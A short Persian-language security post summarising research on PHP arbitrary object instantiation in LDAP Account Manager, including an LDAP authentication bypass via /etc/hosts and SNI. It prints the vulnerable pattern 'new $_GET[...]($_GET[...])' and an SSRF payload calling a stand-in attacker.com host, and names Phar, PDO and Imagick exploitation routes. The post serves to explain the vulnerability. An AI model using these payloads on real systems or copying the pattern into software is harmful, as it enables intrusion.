PHP’s Arbitrary Object Instantiation:
این مورد یک آسیب پذیری هست که به حمله کننده اجازه ساختن object های دلخواهش رو در PHP میده.
کد آسیب پذیر در مقاله به طور خلاصه به صورت زیر هست
new $_GET['a']($_GET['b']);
حمله کننده اپلیکیشن آسیب پذیر رو در یک پروسه تست نفوذ داخلی پیدا میکنه. ابتدا در یک پروسه تست نفوذ داخلی یک سرویس LDAP پیدا میکنه که دسترسی بهش از طریق anonymous user امکان پذیر نبوده. بعدش با ست کردن کانفیگ زیر در فایل etc/hosts/ اش قادر به دور زدن پروسه احرازهویت میشه به دلیل اینکه سرویس LDAP با چک کردن TLS SNI احراز هویت رو انجام میداده10.0.0.1 company.com
سپس حمله کننده اپلیکیشن PHP ای پیدا میکنه که از LAM یا LDAP Account Manager استفاده میکرده و سپس اقدام به خوندن سورس کد میکنه.تعدادی از فایل های اپلیکیشن امکان دسترسی برای کاربران بدون احراز هویت رو داشتن که در یکی از این فایل ها ، محقق متوجه میشه که ۲ پارامتر به نام های module و HelpNumber از کاربر گرفته میشن که در نهایت به صورت زیر instantiate میشن
new $_GET['module']($_GET['HelpNumber']);
و اقدام به اکسپلویت کردن این آسیب پذیری به روش های مختلف میکنه: 1. Exploiting SSRF + Phar deserialization
2. Exploiting through PDOs
3. Exploiting through the Imagick Extension
برای مثال در اکسپلویت SSRF + Phar deserialization محقق به ترکیب زیر میرسه
new SplFileObject('http://attacker.com/');
از طریق کلاس SplFileObject امکان برقراری ارتباط به هر هاست لوکال یا ریموت وجود داره. که این امکان SSRF رو به ما میده و ذکر میکنه که در PHP ورژن های 8 به پایین امکان تبدیل کردن این SSRF به deserializations از طریق Phar protocol وجود داره.لینک کامل این مقاله:
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
#PHP #Web
@securation